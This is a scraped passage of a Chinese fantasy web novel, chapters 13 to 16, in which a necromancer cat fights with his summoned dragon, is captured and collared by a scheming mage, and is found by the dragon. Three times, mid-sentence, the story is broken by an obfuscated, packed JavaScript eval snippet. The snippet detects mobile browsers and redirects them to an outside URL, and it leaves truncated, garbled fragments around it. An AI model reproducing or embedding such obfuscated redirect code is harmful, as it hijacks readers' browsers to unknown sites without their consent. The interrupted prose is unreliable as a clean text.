亥伯龙与莫特默对视的视线没有任何躲闪,眼睫垂下的弧度都没变,一副反倒是莫特默说错了话般的表情,语气毋庸置疑: “当然是买金币。” “那个破烂的巢穴也就只有你还呆得住。” 他神色略显不满,但更多的是一种宽容,勉勉强强叹道: “虽然这点钱做不了什么,但也不能要求更多。” 竟然还猫生攻击上了?莫特默闻言更加不爽。 他难道不喜欢舒适的小窝?还不是因为目前这些都不在优先级上! 比起装饰或享受,目前最高的优先级应该是…… “手机又是什么?”亥伯龙转口问,有点不解。 莫特默精神一振,晓之以理:“手机就是人类手中拿的那个铁片,是人类的通讯工具,像你之前的影像就可以在上面播放。” “有了这个,我们就可以进一步地了解这个世界的信息!” 知己知彼,百战不殆,在陌生的地方,最重要的是不了解的信息与他们的安全啊! “所以比起金币,果然还是要买手机吧!” 莫特默胸有成竹地总结。 “不需要。” 亥伯龙三个字直接打破莫特默的预想。 他神色轻慢,还呵了一声,“了解是为了预防危险,” “有我在,你不需要手机。” 他的话既是断然的否定,也是一种承诺。 莫特默:“!” 什么?龙你竟然……! 听到亥伯龙竟然说出这种话,他真是太感动了……个鬼嘞! 你以为他会这么说吗? 他只恨不得跳起来,一个小猫头锥敲到亥伯龙的头上。 在完全不了解的情况下说出这种话! 是不负责任,是将他的安危置之于身外! 亥伯龙怎么知道这个世界没有比他更强的呢?又怎么能笃定在对外界全然两眼一抹黑的情况下,能完完全全地保护好他? 亥伯龙本身就是死灵,死了也没什么,但他可还不想死啊! 见到莫特默满脸的抗拒和不认可,亥伯龙蹙眉,语气直转而下,不悦道: “这笔钱是作为人类有幸见证到真实一角,作为交换献上的供奉,自然也全由我支配。” “轮不到你插话。”他下了定论。 莫特默满脸愕然,脱口而出:“这不是我们合作得来的吗?” 亥伯龙眼神荒谬:“笑话,我从不合作。” “只有弱者才需要相互依偎,报团取暖。” “你所做的那些,充其量只是用来取悦我的举动。” “别得寸进尺。”他微微训斥。 莫特默真的恼了,他不懂亥伯龙怎么能这么自大,这么自以为是: “你搞清楚,是我提出来参加大赛,也是我设计的演出形式!” “就算是你参加的大赛,这笔钱也无论如何应有我的一份!” 亥伯龙嗤之以鼻。 莫特默顿时怒气上涌,冲口而出:“我是你的主人,你是被我复活的亡灵!” “即使这笔钱是给你的,你的一切也本就属于我!” 话音落下,亥伯龙彻底沉下脸来。 他皮笑肉不笑地扯开嘴角,瞳孔中某种冰冷尖锐的东西凶恶地刺出。 “这就暴露你的真面目了啊,亡灵法师。” 他声音低冷、讥诮,“我还以为你能装得更久一点。” “随便装模作样一下,就妄图我会直接变成你的狗吗?” “别搞错了,或许你从前那些软骨头的奴仆愿意为你献上所有,但我绝不是其中一个。” “收起你那可笑的念头。” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021779|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢,他转身便走,再不多留一点眼神,让莫特默愣在原地,不可置信地看着他的背影。 人流挤挤攘攘的流过,亥伯龙的身影很快被人群吞没,消失不见。 莫特默嘴巴微微动了动,俄而,挤出一句:“……不可理喻。” 自以为是的究竟是谁? 亥伯龙真的有意识到他现在的情况吗? 他是死灵法师,亥伯龙不过是被他契约的亡灵,只要他切断魔力供给,不出三天,亥伯龙就会彻底消…… 莫特默及时刹住了这个危险的想法。 其实早在召唤出亥伯龙时,他就知道了亥伯龙是一个刺头,预感他们迟早有一天会一拍两散。 但他没想到,这件事会发生得这么快。 这才刚召唤不到几天,他们之间就变得无法忍受彼此。而更麻烦的是,莫特默现在还需要亥伯龙。 无论是出于安全方面,还是为了先拿到那笔初赛的奖金。 亥伯龙这个仆人,他是非要不可吗? 莫特默在心中自问。 亥伯龙不愧是他之前在心中腹诽的那样,唯我独尊,冷血无情,说翻脸就翻脸。 但他之前对亥伯龙的判断还是有一点错了,莫特默想。 他恨恨地心道,亥伯龙就是那么傲慢恶劣,厌恶死灵法师到如斯地步!即使破坏自己的利益,也要身为死灵法师的他不好过! 不过既然亥伯龙离开了,他必须早做打算。 莫特默一边气鼓鼓地抿着嘴,一边眼底掠过冷静的思索。 身边没有可以帮忙警戒和护卫的死灵,他从漫展一溜烟地溜回有结界保护的废弃工地。 工地内静悄悄的没有人烟,萧索如初。 建筑内本应有的另一个存在也像是莫特默的召唤是一场幻觉,或是蒸发了般,不在此地。 亥伯龙自漫展离去后,不知所踪。 莫特默在烂尾楼冰冷的水泥地上缓缓踱步,检查任何一处可能存在的防御漏洞。 直至月亮高悬在半空,结界也迟迟没有传来动静,亥伯龙没有回来。 莫特默吐了口气,蜷缩在那本同人本上,闭上了眼睛。 冷风透过敞开的通风口灌入,毫不留情地刮在莫特默身上,激起一阵颤栗。 之前有亥伯龙在时,那条火龙自带,周身散发的热度让莫特默即使没有睡在他身上,也像睡在炉火边一般,不觉得寒冷。 但此刻,莫特默身边空无一物。 小小的猫咪在睡梦中更紧地蜷缩起身子,眼皮下的眼球不安地滚动。 尽管莫特默和昨夜一样睡在同人本上,也想着亥伯龙的事。 但这一夜, 他没有梦见亥伯龙。 14. 第 14 章 “阿啾!” 莫特默打了一个小小的喷嚏,背脊上的毛一阵抖动,像棘背龙一样微微炸开。 半夜被冻醒的莫特默睁眼,懵懂地环视四周。 通风口外的天色一片漆黑,连月亮也不见踪影,更别提没有任何灯具的室内,几乎黑得伸手不见五指。 但好在猫的视觉不会被这片黑暗所打扰。 他瞳孔扩大成完美的圆形,其中清晰地倒映出周边的一切。 毛坯房内依旧空荡荡的,没有柔然的家具,没有温暖的气味,只有灰色的冷硬地面,光秃秃的墙面和不请自来,在地面上打着旋的冷风。 莫特默抖了抖发凉的爪子,将其重新压回身下。 醒来后他一时半会儿没了睡意,只好视线没有焦点地盯着面前粗糙的水泥地发呆。 他不知不觉回想起意外穿越前的生活,想起他舒适的小窝,想起他布置精良,素材丰富的魔法实验室,想起那些陪伴着他的仆从。 还想起亥伯龙那微微炙热,但对体温本就较高的猫咪而言,温度反倒恰到好处的身躯。 亥伯……想到亥伯龙就来气! 莫特默直直从同人本上站起! 原本怅然的心情全都转为不爽,莫特默磨磨牙。 不行,猫不能受这个委屈! 他要让亥伯龙知道,亥伯龙不干,有的是仆从干! 莫特默彻底清明的脑袋盘算起来, 召唤的核心在于媒介,若想唤来强大的死灵,就必须拥有属于他们的媒介, 但他此时此刻在这里一无所有,就连唯一用来召唤亥伯龙的媒介,也是从人类魔法师手中夺来的。 既然想再召唤一个得力的仆从,他就要…… 莫特默的脑海里浮现出宠物医院的十字架小狗标识,嘴角不禁勾出一抹邪恶的笑。 太好了,他知道哪里有人类魔法师可能会有适合的媒介。 既然都有龙鳞,那别的好东西也很正常吧? 莫特默金色的双眼像是两个被打开的手电筒,黑暗中亮起。 寒冷刺骨的夜晚里,只有来自好心魔法师的捐助,能温暖小猫冰冷的心。 …… 深更半夜,街道上除了二十四小时便利店还亮着孤零零的灯,其它所有的店都已熄灯闭店了。 没有人看到一个影子悄无声息地滑到宠物医院门前。 深夜的宠物医院也关门了,透明的玻璃大门上一把红色的的U型锁明晃晃地挂在把手上。 莫特默将脸贴在玻璃门上往里面张望,接待客人的大厅内空荡无人,一切都静止地沉睡在黑暗中。 但莫特默可不会被这种表象所迷惑。 要知道,他可刚从这家医院的深处离开不久。 他离开时,已经顺便大致摸清了这里面的布局,在这看似无人的大厅后,还有着一大片隔音良好的手术室,他当初就在其中一间。 但他当时为了尽快脱身,没有冒险去寻找后门,而是选择了直接从窗户处一跃而出。现在吗…… 莫特默转过头,望向那扇紧闭的,只能从内打开的窗户,遗憾地叹了口气。 要用魔法打开大厅的门吗?他暗自沉思,可用魔法会留下痕迹,还有可能会引起警…… “汪!” 莫特默整只猫瞬间四脚垂直一蹦,尾巴炸得蓬松高耸,活像个松鼠。 他带着点怒意看去。 只见玻璃门后不知何时出现了一只金毛大狗,正目光炯炯地注视着他。 看到莫特默炸毛的样子,金毛似是觉得有趣,屁股后的尾巴摇得更欢了。 它迫不及待地凑到玻璃门前,热切地隔着门对莫特默又“汪!”了一声。 看清出声的只是一只没有魔力的普通动物,莫特默没好气地放松炸起的毛,舔舔胸口。 原来只是一只被留在医院,但不知怎么跑出笼子的狗。 在莫特默舔毛期间,那只金毛见莫特默没了反应,不停空转地来回晃悠,还用爪子巴拉门缝,试图再次吸引莫特默的注意,表达出强烈的,想要和莫特默玩的意图。 门上挂着的锁被它拨弄得和把手发出零落的碰撞声,可因为锁住了,任凭金毛怎么拨弄都没有掉。 莫特默收拾好自己蓬松的毛毛,回过神见到这一幕,忽地计上心头。 他试探性地往左走了几步,就见那只金毛立马跟着往左走,直到莫特默走出一段距离,他被墙壁阻拦无法跟上,只能眼巴巴地蹲坐在大厅的左下角,朝莫特默摇尾巴。 莫特默又转向往右走,果不其然,金毛原地蹦起,尾随莫特默的方向,又一路追到大厅的右边。 啊哈! 莫特默眼中精光大涨。 他知道怎么不用魔法就能潜入其中了! 这一次,他没有再去关注金毛的动向,而是朝着自己上次逃出的窗户那走去,跳上窗沿,轻轻挠起窗户。 他的指甲在铁质的窗户边缘划拉,发出细微的声音。 这道声音甚至细微到不会被人类注意,却瞒不过另一种生物的耳朵。 很快,一双酱油色的爪子从内部搭上了窗沿,然后是一只狗头探出。 金毛隔着窗户和莫特默对视,莫特默居高临下地睨了对方一眼,随即漫不经心地抬起前爪,在窗把手的位置点了两下。 金毛歪了歪头,耳朵跟着抖了抖:“汪?” “汪!” 不等莫特默多加暗示,聪明的大狗瞬间领会了莫特默的意思。 它人立起来,爪子一抬,就按下了窗户的把手。 咔哒一声锁舌弹开,一条通往内部的细缝随之展现在莫特默眼前。 莫特默身子一扭,就灵活地顶开那条缝,悄然滑了进去。 他跳下窗沿,落地无声。 金毛迫不及待地凑过来,兴奋地吐着舌头低头,鼻头顶着莫特默的屁股热情嗅来。 “啪!啪!啪!” 冷不丁,莫特默回身就是一个闪电三连拍,猫掌快如闪电,正中狗鼻。 他没有露爪,可光用肉垫的这几下已经足够打着大狗睁不开眼,发出委屈的哼鸣。 “呜,呜嗯……”金毛被拍得闭眼呜咽,脑袋往后缩去。 就这样,还一边挤着一只眼睛偷喵莫特默,一边不死心地想要凑过来继续嗅。 莫特默喉咙发出低沉的呼噜声,别过脸,恐吓警告道:“别跟着我。” 说完,不理假嚎声戛然而止的金毛,脚一蹬化作一道轻捷的影子,就往记忆中人类魔法师所在的房间疾窜而去。 宠物医院内部一片空寂,和大厅一样 。 莫特默溜达着,预想中的身影一个也未出现,不禁心生疑虑。 那些人类魔法师真的不在? 是今夜恰好不在,还是因为他之前搞出的动静,全都收拾包裹,转移阵地撤离走了? 这么怂…不是,他是说谨慎? 念头一起,莫特默不合时宜地回想起亥伯龙那句“东躲西藏,确实符合亡灵法师的作风”的讽刺。 莫特默顿时有种“你们怎么真这样?!”,被亥伯龙说中了的恼恨,和死法都是被这种死灵法师败坏了名声的不忿。 他又不甘心地想,即使没有人,没法从人类魔法师那再搞几个媒介,用他们丢弃的尸体弄几个僵尸也行! 总不能他跑出来,只喝了一肚子冷风回去吧? 可事情就是这么坏端端地坏起来。 莫特默一个个推开房间大门,凄凉地看到空空如也的室内。 不仅是那群蹩脚的亡灵法师消失无踪,连一具尸体都没留下…… 莫特默无尽失落地垂首,又蓦然扭过头,警觉看向身后。 离他有一段距离的拐角处,半颗狗头鬼鬼祟祟地探出。 是那只金毛,明明被他吓唬过,竟还是追着他的气味,尾随过来了。 似乎是感受到莫特默眼中传来的沉沉压力,金毛没敢靠近,只是在莫特默的视线中,尾巴犹犹豫豫,轻轻地摇了摇。 留在这里的唯一的活物,估计只有这只狗了,莫特默有些悻悻地想。 死灵魔法是需要对方死去后才能使用的魔法,没有媒介或尸体,他今晚注定一无所获。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021780|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但其实也未必。 如果他想,也不一定会空手而归。 莫特默的视线再度落回那只狗身上, 目光从对方比自己至少大五倍的体格,到对方藏嘴筒子下,隐约透着食肉动物力量的牙齿, 莫特默眼神中闪烁着某种冰凉的东西。 一只成年的、健壮的大狗足以扑倒、伤害一名毫无防备的人类。 而他,恰好不讨厌这只狗。 迎着莫特默剖析般的审视,金毛浑然没有察觉到逼近的危险,竟吐着舌头,朝莫特默咧出一个近乎傻气的笑容。 莫特默猛地泄气,收回视线。 算了。 一只狗而已,能做什么? 对普通人类或许足够,但对魔法师而言可够呛。 而且僵尸和死灵奴仆不同,不仅冰冷冷硬邦邦的,还几乎没有神智。 这只狗虽然看上去不大聪明,但眼神灵动,活泼好动,不适合变成僵尸之后的那副样子。 莫特默转身走回窗边,刚要跳上窗沿离开这里,余光中的那抹酱油色依旧像个狗皮膏药一样扒着不走,一动不动地望着他。 莫特默动作一滞,脚下转了方向。 他穿过昏暗的走廊来到大厅正门处,轻而易举地用魔法打开了挂着门上的所。 随着锁落下的“哐嘡”一声,他回头望向身后。 果不其然,那只金毛还跟着,就停在几步之外。 这一次对视,金毛似乎从莫特默眼神中感知到某种默许,误以为莫特默终于愿意和他玩,谨慎又兴奋地凑了过来。 但莫特默看向对方的目的可不是这个。 他顶开玻璃门,夜风立刻涌入厅内,他对金毛示意道:“走吧。” 这家医院为了研修亡灵魔法,不惜残害了大量的动物,金毛留在那难道会有什么好下场? 就当是回报对方为他开那扇窗。不管是自行离开去流浪,还是原本有主人去寻对方。 总之,离开这儿。 “汪?” 金毛没有动,似是有些迟疑。 莫特默径直从正门离开了医院,他没有等待,也没有回头,更没有再次催促,继续着自己的步伐。 以金毛之前张望外界时跃跃欲试的眼神,它一定会走的。 果然,仅仅几秒后,莫特默敏锐地听到背后有爪子踩在水泥地而不是瓷砖上的声音。 可紧接着,一阵呼哧呼哧的喘息声快速靠近。 那只金毛竟朝他追了过来,一副就要跟着他的模样! 莫特默脚步一顿,心下有些吃惊,随即又泛起一阵轻盈的愉悦,脚步也随之雀跃起来。 好吧,看来今晚他也不是什么都带不回去。 莫特默的心像充了气的气球一样,原本被冷风吹得僵硬的四肢似乎也暖了起来。 就算没有结缔契约的死灵奴仆或奴仆,也有大狗愿意和他回家。 没有亥伯龙,今晚睡在大狗身上,似乎也不赖。 “汪!” 大狗忽然响亮地叫了一声,像是在呼应莫特默内心的想法般,声音中满是毫无保留的兴高采烈。 感受到金毛在身后停住,莫特默心情颇好地回首:“怎么了?” “!!!” 转头转到一半,莫特默全身僵住。 金毛蹲坐在那,身后的尾巴摇出残影,亲近感溢于言表。 而就在它身旁,一个西装革履的男人正静静站在那,笑盈盈地俯视着莫特默。 “让我看看……”男人低声沉吟,视线缓慢移动,如同精密而冰冷的扫描仪,掠过莫特默的每一寸。 “一只猫?” 男人的大拇指上的宝石戒指即使在昏暗的环境中依旧折射出尖锐的光,仿佛要灼痛莫特默的眼睛。 “使魔?不……魔法生物。” 莫特默看到男人微笑着,语气不像询问,倒像是早已笃定的陈述。 “就是你杀了杰弗逊。” ——人类魔法师?!! 莫特默浑身的毛在这一瞬间,悄无声息地根根竖立起来。 15.第 15 章 “我是斯雷德的家主,也是那枚被你拿走的龙鳞真正的主人。” “不过放轻松。” 自命苦主的男人展示无害般地摊开自己的双手, “我不是带着敌意来的。” 他言语轻松,又不经意间透出几分漫不经心与残酷, “杰弗逊虽然是我指定的继承人,但他既然死了,那只能证明这个位置本就不属于他。” 他朝地上小小的莫特默俯身,压低视线,语气自然地透出明显的善意。 “而比起为他报仇,我更想和能杀了他的魔法师交好。” 从他悄然出现后,没有作声或攻击,而是在身后默默观察莫特默的反应,再到这番主动示好的话, 男人就差没明说他对莫特默十分感兴趣了。 莫特默没接茬,目光冷淡:“这只狗是你的。” 他早该想到的,既然那群死法都撤离了,那深夜的店里又怎么会留,并只留下一只狗? 是对方没有魔力这点放松了他的警惕。 “啊,没错。”斯雷德家主没有去看脚边的狗,视线依旧锁在莫特默身上。 “这只是一只被我放在这,小小的,”他顿了顿,像是在找一个合适的词, “守卫。” “当然,没有魔力,只是普通的动物而已。” 他朝莫特默耐心解释:“在杰弗逊死后,我就派人遣散了他们那个不成器的小团体,但我总要防止来自他人的探究,就让这个好男孩帮我看守那里,只要周围有魔力波动,我就能感知到。” “没想到,来的竟会是一位魔法生物。” “这可真是失敬。”他一手抚向胸口,就俯身的姿势行了个礼。 莫特默没有说话,尾巴尖一摆一摆地拍在地上,像是在思索,又像是在犹豫该不该信任眼前的男人,有一搭没一搭地瞥了眼乖乖蹲在男人脚边的金毛。 金毛注意到莫特默的视线,无辜看过来,还是那副没有心眼,蠢兮兮的模样。 莫特默自男人出现后就直转而下的心情 更坏了。 斯雷德家主忽地一笑,“你喜欢它吗?” “它是个好男孩,看得出来,它也很喜欢你。” “我家的庄子里还有几只像它一样,没有魔力的普通动物。” 他温声邀请:“如果你愿意,何不来我家坐坐?” 莫特默眼神一动,又瞥了还在蠢呼呼傻乐的金毛一眼,眼神变得有点不怀好意,但没吭声。 “一个人在外,不容易吧?” 斯雷德家主叹息一声又道,看过来的眼神甚至变得有些大家长似的温情。 “虽然不知道你的长辈为什么不在你身边。” “但我们斯雷德家族很乐意提供帮助,不论是食物还是住所,又或者帮忙联系你的长辈。” “如果你愿意,我们也十分荣幸能和你达成契约,供奉你作为我家的魔法生物。” 长辈?魔法生物? 听到这,莫特默才终于恍然男人为什么对他的态度如此反常地和善。 对方竟是将他误会成不小心落单或离家出走的魔法生物,忌惮他背后不知名的长辈,还想趁他落单,和他拉关系,哄骗他达成什么契约。 想到这,莫特默舔舔爪子,有些感兴趣地说:“说来听听?” 斯雷德家主脸上的笑意渐深,身为身具魔力的魔法师,他无障碍地听懂了莫特默的语言,好脾气地说: “你想要什么样的住所、食物,甚至魔法材料,我们都能提供,虽然在这里名声不显,但在Y国,我们也算是数一数二的魔法师名门。” 说到这,他言语间难□□露出几分傲慢与优越之色, “绝不会让你失望。” 莫特默这下真的有点心动了。 住所、食物,魔法材料,这可都是他的刚需! 而且接触这个世界的魔法师,还是家族形式的魔法师,岂不是大大有助于他了解这个世界? 他完全可以扯着“魔法生物”的虎皮大衣先在对方家做客,白吃白喝,并借此机会暴风吸入所有需要的东西,私底下偷偷召唤强大仆从,再在对方发现真相前卷了对方的媒介和魔法材料跑路。 “只不过我的家族祖宅在Y国,需要你用这个传送魔法道具才能和我一起前往。” 看出莫特默态度松动,斯雷德家主从怀中掏出一个钥匙扣般的物件,朝莫特默递来。 莫特默陷入畅享的思绪一顿,转而审视起那个钥匙扣。 他知道一种被称做门钥匙的道具,是一种只让持有者进入某些区域的魔法钥匙,但还从未听说过门钥匙能自带传送魔法。 钥匙扣看上去平平无奇,连魔力波动都几近无,要是换做平常的魔法师来,恐怕连这是个魔法道具都看不出。 莫特默也一时半会也无法判断其真实作用,无法断定其到底是不是只是个有传送功能的门钥匙。 但好在, 莫特默作为死灵法师,与死亡常伴,天生就能感知到死亡的气息,再加上接触过各种各样的死尸和其死亡的原因。 他对于致死性、伤害性魔法的敏锐度远超常人。 只要是有攻击意味的魔法,包括诅咒,囚禁,甚至催眠,即便有遮掩,封印,或其实是以前从未出现过的新魔法,他也能轻易判断出来。 而这个钥匙扣上…… 莫特默移开视线。 确实没有那些熟悉又危险的气息。 就只是个传送的魔法道具吗……是他想多了。 斯雷德家主耐心地任由莫特默盯着钥匙扣瞧,也不催促。 直到莫特默收回视线,他才将那个钥匙扣往莫特默面前又递了递,示意莫特默接住。 莫特默顺从地伸爪,伸向那个传送道具。 斯雷德家主见状眼底迅速地划过一丝愉快。 很快,他的家族将迎来一位真正的魔法生物。 就在斯雷德家主想到这,眼神因此放松失焦的一刹那 ——莫特默转身就逃!!! 小小的影子一扭就遁入阴影,一眨眼就消失在黑暗中, 只有斯雷德家主的手臂还直愣愣地悬在半空。 一阵冷风刮过,吹起男人别在胸口的手帕一角,俯下的身子掩盖了他脸上的表情。 半晌,他缓缓直起腰,语气不明:“逃了……吗。” 在另一头,莫特默正在急速飞奔。 开什么玩笑! 他信个鬼!! 作为死灵法师,打和男人一照面,他就闻到那股灵魂腐朽散发的腐臭味。 对方看着年轻,面貌上只有30来岁,可实际上早活了不止几个30。 传送是真,但他一去肯定就完蛋了! 想把他骗过去杀?想得美! 莫特默转头就给自己补上一个隐形魔法。 人类魔法师又怎样?他这一手隐形魔法不仅可以影藏身形,连魔力的波动也可以一并藏起来。 即使那名魔法师有什么追踪魔力的道具,也不管用,嘿嘿…… “去。” 站在原地的斯雷德家主面不改色,微微侧头对脚边的金毛命令道, “把他给我带回来。” 金毛立即听令,低头嗅闻着地面,通过气味精准地追踪着莫特默走过的痕迹,飞奔而来。 莫特默:…… 听到身后越来越朝他靠近的奔跑声,莫特默大惊失色。 怎么会有魔法师不讲武德,不用亲自上阵用魔法,而是用养的狗?! 等等,这说的不就是亡灵法师? 莫特默下意识想呼叫龙,可话到嘴边又被迟疑地止住。 他咽下命令,咬牙加快步伐。 不。不用叫亥伯龙,只要他进了结界—— 莫特默脚下一空,脖颈一痛。 巨大的危机感从身后传来,犬齿抵在后脖上,来自食物链上,本能的压迫感让莫特默大脑一片空白。 那只大狗像叼一只兔子一般,将莫特默咬在齿间,又转身飞奔回男人身边,展示自己带回的猎物。 “好孩子。”男人不紧不慢地靠近,伸出一只手掐住莫特默的下巴,拇指粗鲁地抵开莫特默的嘴。 “小猫?”他略微惊讶道,从牙齿判断出莫特默就是一只年轻的,在成年期左右的猫,而不是单纯的猫型拟态。 外表是猫型,又会亡灵魔法…… 男人回想了一圈,没能从记忆中找到相符合的生物,居高临下又稀奇地问:“你是什么魔法生物?” 一边问着,他一边从西装内层抽出一个项圈。 莫特默一眼就判断了出来,那是一个和钥匙扣一样的魔法道具! 但和钥匙扣不同,这个项圈上满是不详又阴冷的魔力。 对方是有备而来! 莫特默浑身发冷,清楚地知道他绝不能被套上那个项圈。 他也顾不上之前与亥伯龙的争吵,毫不迟疑催动亡灵契约,召唤亥伯龙。 虽然作为法师来说,他手无缚鸡之力,只是个弱小的猫猫,但死法的好处就是能随时随地召唤打手。 而他有自信,他的打手在对方之上! 只要亥伯龙一来,对方就死定了!莫特默阴暗地想。 可紧接着,他还没高兴两秒,直直地愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023125|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在原地,如坠冰窟。 召唤……失败了? 他的呼唤石沉大海,明明催动了契约,下达了【命令】,亥伯龙却没有出现在他眼前。 莫特默张了张嘴,茫然地再次尝试:“……【龙】?” “龙?”斯雷德家主误以为莫特默是在回答他“是什么魔法生物”的问题。 他的视线从莫特默的垂下的猫尾扫到莫特默头上的耳朵,摇头笑道:“你怎么可能是龙?” 莫特默低垂着头沉浸在自己的世界中,眼球细微地颤动,耳边没有听到一丝一毫男人的声音,只不断呼唤亥伯龙。 可即使他不断重复,亥伯龙也没有出现。 召唤又一次失败了。 但怎么可能?他怎么会失败,他是优秀的死灵法师,他是有可能成为最厉害的死法的猫,他怎么会失败,他…… 失败? 莫特默眸光怔怔,眼睛渐渐失去高光,变成没有一丝光亮的墨黑。 斯雷德家主听到那只幼小的猫像是害怕到了极点,声音颤抖地从喉咙挤出,吐出气音:“亥…伯龙……” 他的表情随即变得恍然,自认为了解了莫特默的意思:“你是说那枚龙鳞?” “即使你交出那枚龙鳞,我也不会放你走的。” 既然已经抓住了想要的东西,斯雷德家主也不介意多说点,彻底掐灭莫特默离开的希望。 “那东西虽说珍贵,但说到底,不过是个无用之物。” “毫无价值。”他辛辣道。 “既然你也会死灵魔法,就该知道,越是强大的死灵,对死灵法师的要求就越高。” “即使是处在神话时代,魔力量是现今十倍的死灵法师,都不能召唤出站在神话巅峰的传说巨龙,负担其现世的魔力,更何况现在?” “更别提亥伯龙的媒介是出了名的暴虐,凡是试图用其召唤的,下场都逃不过瞬间暴毙,死状凄惨。” 他礼貌性假笑,嘴上不留情地嘲笑:“也就蠢货会试图使用那片龙鳞。” “有点消息渠道的都知道,那个龙鳞,也就是个好看的装饰物罢。” 说完那一大段话,斯雷德家主将手中的项圈套在莫特默的脖子上。 莫特默脱力地垂下四肢,感觉自己的魔力像是被堵塞了一样无法流转,不明白发生了什么,下意识喃喃:“什么?” 斯雷德家主好心地解答:“是在死灵法师和亡灵之间的死灵契约魔法的基础上进行改造,变得可以作用在活物上的死灵魔法。” “很不错吧。”他满意地整了整套在莫特默脖上的项圈。 莫特默依旧垂着头,即使思绪不在此地,也条件反射般地反驳:“这不是死灵魔法。” “死灵魔法不是奴役契约,是可以让生灵永远留下来的魔法。” 他像是在念叨什么曾经被告知的真理或信仰一般,声音虚虚的,却又笃信虔诚。 斯雷德家主温和地说:“对啊,你现在不就留下来,将会永远陪在我身边了吗?” “只是将死灵变成了活物,现在我是法师,你是被我契约的奴仆,又和死灵契约有什么不同?” “从古至今,强大者奴役弱小者,弱小者人服从强大者。正如臣子会服从君王,狗会服从人类。其实人人都是一种死灵法师,死灵魔法也不是邪恶,只是用一种更直白的方式界定并维护了这种关系。” “你身为会死灵魔法的魔法生物,更应该明白这个道理吧?” 莫特默:“……” 出乎斯雷德家主意料,莫特默既没有被他说服,也没有表现出大受打击,反而用一种古怪的语气开口: “你在说什么?” 他似乎才从神游中惊醒,对这个话题全然不在状态,可回过神的第一件事就是理所当然般地开口训斥。 “我和你可不一样,死灵法师也根本不是你说的那样。” 叽里咕噜说什么呢,全是一派胡言,还妄想得到?他的认可? 世界上没、有、谁比他更懂死灵法师! 莫特默根本没有认真听进去,也不在乎对方究竟说了什么。 他自出生起就与死灵魔法为伴,他对死灵魔法的了解就像是对自己的了解一样清晰,操纵死灵魔法就像操纵自己四肢般娴熟。 世界上最厉害的死灵法师是他的老师。 而他是世界上最聪明,最邪恶,也是未来可能会成为最厉害的死法的猫。 所以说, 莫特默倏地抬首。 他的召唤绝不会失败—— “给我滚出来!” 他一字一顿, “亥!伯!龙——!!!” 16.第 16 章 寂静的街道。 一个庞大的黑影在拐角处微微一动。 斯雷德家主愣住,猝然往那个方向望去。 有人在那?!什么时候……! “嗤。” 那道人影不紧不慢地开腔, “即使成了阶下囚,也改不了那你那放肆的态度吗。” 说着,那道斜靠在墙壁上的身影起身,走出视觉死角。 浓黑的夜色吞没了那人的样貌,只隐约勾勒出对方那高大强壮的轮廓, 唯有那双锐利如刀的瞳孔在黑暗中隐隐闪着寒光,压得人喘不上气来。 斯雷德家主收起笑容,露出慎重的眼神。 他下意识直起身,微微后退了两步,摆出防御的姿态。 亥伯龙却瞥都未瞥对方一眼,目光径直投向莫特默,一边靠近,一边嘴角勾起讥诮的弧度。 他故意让自己的视线停留在莫特默脖颈间的项圈上,无声提醒莫特默现在任人宰割的处境。 “现在想要向我祈求原谅了?” 亥伯龙在莫特默面前站定, “真遗憾,即使你向我求救,我也不会……” 他扬起一抹恶意的笑,可话未说完,就被一道明亮的声音截断。 “我就知道你在!” 剩下的话猛地消失在喉间,亥伯龙脸上不易察觉地闪过一丝怔然。 ……什么? 莫特默看过来的眼睛闪闪发亮,宛如天上那些不见踪影的星星其实是全都落在了他的眼中,盛满了毫不掩饰的喜悦。 他看着亥伯龙,越看越满意,嘴角忍不住又勾起得意的弧度。 他就知道,他的召唤不可能失败! 召唤魔法没有起作用,没有将亥伯龙召唤到他身边来,只会有一个原因 ——亥伯龙早就在他身旁! 这猝不及防,没有任何负面情绪,满是热烈的信任和欣喜的眼神直冲而来,打了亥伯龙一个措手不及。 他本以为会看到一双冷漠的,带着愤怒与失望的……就像他曾见过的无数双,一样的眼神。 亥伯龙沉默了片刻,冷声道:“你就这么笃定我会来?” “不会还在指望我救你吧?”他说着,嘴角重新挑起熟悉的讥嘲弧度。 莫特默却没有被他的话激怒或挑衅到,反倒又露出那种无奈的,像是在看什么在犯傻的傻瓜似的表情。 足够亲昵,又足够不尊重。 ……放肆。 在亥伯龙蹙眉前,莫特默给了亥伯龙一个“不然呢”的眼神,语调轻扬地反问:“那你跟着我做什么?” “你在我出门的时候,就跟在我身后了吧?” 亥伯龙表情倏然微变,冷嘲热讽的话就要脱口而出。 “而且……”莫特默的声音忽然放低,像是在说什么悄悄话般,低语道, 